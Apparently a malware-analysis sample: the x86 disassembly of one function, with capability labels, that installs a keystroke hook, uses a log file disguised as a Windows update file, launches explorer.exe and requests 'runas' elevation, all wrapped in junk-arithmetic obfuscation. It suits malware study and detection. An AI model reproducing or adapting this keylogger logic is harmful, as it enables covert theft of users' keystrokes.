Function at 0x404eb0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.004251e0
mov eax, dword [0x452944]
mov ecx, dword [0x4518f4]
mov dword [esp + 0x1068], eax
mov eax, ecx
imul eax, eax, 0x62fe
mov dword [esp + 4], eax
push ebx
mov ebx, dword [0x4518e8]
mov eax, 0x58fba7b7
imul ebx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 8]
sub edx, eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x4518d8]
push edi
mov edi, dword [0x4518dc]
sub edx, esi
cmp eax, 0x132b600
lea edx, [edx + edi + 0xd46b]
mov dword [esp + 0x14], 0
mov dword [str._r_____r_____n], edx
je 0x404f90
mov eax, 0x57bc6617
imul edi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xf1bde717
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
sub eax, esi
sub eax, edx
lea ecx, [eax + ecx - 0x5a6f]
mov dword [0x4518dc], ecx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x404f71
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424991
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4518e0]
imul edx, edx, 0x5a75
mov ebx, edi
imul ebx, ebx, 0x5c10
mov eax, esi
imul eax, eax, 0xbb8d
add ebx, edx
sub ebx, eax
mov eax, 0x27a02fad
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [section.HookData]
test eax, eax
mov dword [0x4518e8], ebx
je 0x40503d
mov ecx, dword [0x4518ec]
mov eax, 0xd45237bd
imul ecx, ecx, 0x5c10
imul ebx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x4518f0]
mov eax, 0x27a02fad
imul ecx
mov eax, dword [str._r_____r_____n]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518d4]
sub esi, ecx
add esi, eax
lea eax, [edx + esi - 0x5a74]
mov dword [0x4518d4], eax
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.00424991
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x9a5307c5
imul esi, esi, 0xd4a0
imul ebx
add edx, ebx
mov ebx, dword [0x4518e4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x33af
sub esi, eax
add esi, dword [0x4518f0]
lea eax, [edx + esi + 0xc49d]
mov dword [0x4518e0], eax
jmp 0x405080
mov eax, 0x57bc6617
imul dword [0x4518d8]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x5d5f
sub edx, eax
mov eax, ebx
imul eax, eax, 0x588f
lea esi, [edx + eax - 0x5a74]
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x4518ec], esi
jg 0x405188
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x405188
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4050d5
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x405188
mov ebx, dword [0x4518e0]
imul ecx, ecx, 0x62fe
imul esi, esi, 0xd4a0
mov eax, 0x7225d683
imul edi
sar edx, 0xf
sub esi, ecx
mov ecx, dword [ebp + 0x14]
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ebx
push ecx
add eax, 0x131b4
push 0
mov dword [0x4518d8], eax
call fcn.00403620
mov esi, eax
add esp, 8
test esi, esi
jle 0x405896
mov ecx, dword [0x4518f0]
mov edi, dword [0x4518d4]
mov eax, 0xe4218e9
imul edi, edi, 0xd455
imul ecx
mov ecx, dword [0x4518e8]
imul ecx, ecx, 0x11f11
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
sub edi, dword [0x4518d8]
mov ecx, dword [0x4518f4]
add edi, 0xc301
mov dword [0x4518f0], edi
mov edi, dword [0x4518dc]
jmp 0x4051d3
mov eax, 0x9a5307c5
imul esi, esi, 0x11f11
imul ebx
add edx, ebx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0xd4a0
add ecx, edx
mov eax, 0x2badc843
imul dword [str._r_____r_____n]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
mov esi, dword [ebp + 0x10]
sub ecx, 0x5a74
mov dword [0x4518f4], ecx
mov eax, 0x58fba7b7
imul ecx, ecx, 0x62fe
imul dword [0x4518e8]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d8]
sub ecx, eax
sub ecx, edx
lea ecx, [ecx + edi + 0xd46b]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x4518e8]
mov edi, dword [0x4518ec]
mov eax, 0xd45237bd
imul edi, edi, 0x5c10
imul ecx
mov ecx, dword [0x4518f0]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x27a02fad
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518d4]
sub ebx, edi
sub ebx, ecx
add ebx, dword [str._r_____r_____n]
mov ecx, dword [0x56394c]
push esi
push ecx
lea eax, [edx + ebx - 0x5a74]
mov edx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push edx
mov dword [0x4518d4], eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.HookData], eax
je 0x4058f9
mov ecx, dword [0x4518dc]
mov eax, 0x57bc6617
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xf1bde717
imul dword [0x4518e8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, dword [0x4518ec]
mov ecx, dword [0x4518f4]
lea ecx, [eax + ecx - 0x5a6f]
mov dword [0x563950], 1
xor edi, edi
jmp 0x4052e3
mov ecx, dword [0x4518dc]
mov eax, 0x57bc6617
imul ecx
sar edx, 0xd
mov esi, dword [0x4518ec]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xf1bde717
imul dword [0x4518e8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4518f4]
sub eax, esi
lea edx, [eax + ecx - 0x5a6f]
push str.c:windowsKB978978.log
mov dword [0x4518dc], edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x405349
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x4052dd
mov ecx, dword [0x4518e4]
mov esi, dword [0x4518f4]
mov eax, 0xa5820cf9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, esi
imul ecx, ecx, 0x5a75
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x4518e0]
mov eax, 0x7225d683
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, 0x1f366
cmp edi, 0x12c
mov dword [0x4518e4], ebx
jl 0x405953
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x405953
mov esi, dword [0x4518dc]
imul ecx, ecx, 0x5a75
imul esi, esi, 0x5c10
add esi, ecx
mov ecx, dword [0x4518d8]
mov edx, ecx
imul edx, edx, 0xbb8d
sub esi, edx
mov eax, 0x27a02fad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x800
lea ecx, [esp + 0x74]
sub esi, eax
push ecx
mov dword [0x4518e8], esi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x4518d8]
mov eax, 0x57bc6617
imul ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 0xd
imul ecx, ecx, 0x5d5f
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
imul edx, edx, 0x588f
sub ecx, eax
lea eax, [ecx + edx - 0x5a74]
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0x874]
push str._sexplorer.exe
push edx
mov dword [0x4518ec], eax
call fcn.004250ba
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.00424ead
add esp, 0x14
cmp eax, 0xffffffff
je 0x405837
mov ecx, dword [0x4518f0]
mov esi, dword [0x4518d4]
mov eax, 0xe4218e9
imul esi, esi, 0xd455
imul ecx
mov edi, dword [0x4518d8]
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518e8]
imul edx, edx, 0x11f11
sub esi, ecx
add esi, edx
sub esi, edi
add esi, 0xc301
push str.explorer.exe
mov dword [0x4518f0], esi
call fcn.00416200
mov ecx, dword [0x4518e4]
mov eax, 0x9a5307c5
imul ecx
mov eax, dword [0x4518dc]
add edx, ecx
imul eax, eax, 0xd4a0
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
add ecx, eax
mov eax, 0x2badc843
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
imul edx, edx, 0x11f11
sub ecx, eax
sub ecx, edx
add esp, 4
sub ecx, 0x5a74
mov dword [0x4518f4], ecx
mov dword [esp + 0x10], 5
jmp 0x405532
mov ecx, dword [0x4518f4]
mov edx, dword [0x4518e8]
imul ecx, ecx, 0x62fe
mov edi, dword [0x4518d8]
mov eax, 0x58fba7b7
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0xd46b]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.00415de0
add esp, 4
test eax, eax
jg 0x4057dd
mov ebx, dword [0x4518e8]
mov esi, dword [0x4518ec]
mov eax, 0xd45237bd
imul ebx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov ecx, esi
imul ecx, ecx, 0x5c10
sub edi, ecx
mov ecx, dword [0x4518f0]
mov eax, 0x27a02fad
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518d4]
sub edi, ecx
add edi, dword [str._r_____r_____n]
lea eax, [edx + edi - 0x5a74]
mov dword [0x4518d4], eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4518f4]
mov edx, ecx
imul edx, edx, 0x62fe
mov edi, esi
imul edi, edi, 0xd4a0
sub edi, edx
mov eax, 0x7225d683
imul dword [0x4518dc]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, dword [0x4518e0]
add eax, 0x131b4
mov dword [0x4518d8], eax
mov eax, 0x57bc6617
imul dword [0x4518dc]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xf1bde717
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, esi
lea ecx, [eax + ecx - 0x5a6f]
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [0x4518dc], ecx
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4056ef
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518d8]
mov eax, 0x9a5307c5
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
mov edi, esi
imul edx, edx, 0x33af
imul edi, edi, 0xd4a0
sub edi, eax
add edi, dword [0x4518f0]
lea eax, [edx + edi + 0xc49d]
mov dword [0x4518e0], eax
jmp 0x4057e9
mov ecx, dword [0x4518e4]
mov eax, 0xa5820cf9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x5a75
mov esi, ecx
mov ecx, dword [0x4518e0]
sub esi, edx
mov eax, 0x7225d683
imul ecx
sar edx, 0xf
push 1
mov eax, edx
lea ecx, [esp + 0x74]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x87c]
push edx
sub esi, eax
push str.runas
add esi, 0x1f366
push 0
mov dword [0x4518e4], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x4518d8]
jg 0x4057a4
mov ecx, dword [0x4518dc]
mov eax, dword [0x4518e0]
imul ecx, ecx, 0x5c10
imul eax, eax, 0x5a75
mov edx, esi
imul edx, edx, 0xbb8d
add ecx, eax
sub ecx, edx
mov eax, 0x27a02fad
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4518e8], ecx
jmp 0x4057e9
mov eax, 0x57bc6617
imul esi
mov eax, dword [0x4518e4]
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x5d5f
sub edx, ecx
imul eax, eax, 0x588f
lea ecx, [edx + eax - 0x5a74]
mov dword [0x4518ec], ecx
jmp 0x4057e3
mov esi, dword [0x4518d8]
mov ecx, dword [0x4518e8]
mov edi, dword [0x4518d4]
imul ecx, ecx, 0x11f11
mov eax, 0xe4218e9
imul edi, edi, 0xd455
imul dword [0x4518f0]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
sub edi, esi
add edi, 0xc301
push 0x3e8
mov dword [0x4518f0], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40552c
mov ebx, dword [0x4518e4]
mov edi, dword [0x4518dc]
mov eax, 0x9a5307c5
imul ebx
add edx, ebx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0xd4a0
add ecx, edx
mov eax, 0x2badc843
imul dword [str._r_____r_____n]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
imul edx, edx, 0x11f11
sub ecx, eax
sub ecx, edx
sub ecx, 0x5a74
mov dword [0x4518f4], ecx
jmp 0x405080
mov ecx, dword [0x4518e4]
mov eax, 0xa5820cf9
imul ecx
add edx, ecx
mov ecx, dword [0x4518f4]
sar edx, 0xe
imul ecx, ecx, 0x5a75
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x4518e0]
mov eax, 0x7225d683
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, 0x1f366
mov dword [0x4518e4], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424991
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4518f4]
mov esi, dword [0x4518ec]
imul ecx, ecx, 0x62fe
imul esi, esi, 0xd4a0
sub esi, ecx
mov ecx, dword [0x4518dc]
mov eax, 0x7225d683
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x4518e0]
add eax, esi
sub eax, edx
add eax, 0x131b4
mov dword [0x4518d8], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424991
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4518e8]
imul esi, esi, 0x62fe
mov eax, 0x58fba7b7
imul ecx
mov eax, dword [0x4518d8]
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518dc]
sub esi, ecx
mov ecx, dword [esp + 0x1074]
sub esi, eax
lea eax, [esi + edx + 0xd46b]
mov dword [str._r_____r_____n], eax
mov eax, 1
call fcn.00424991
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret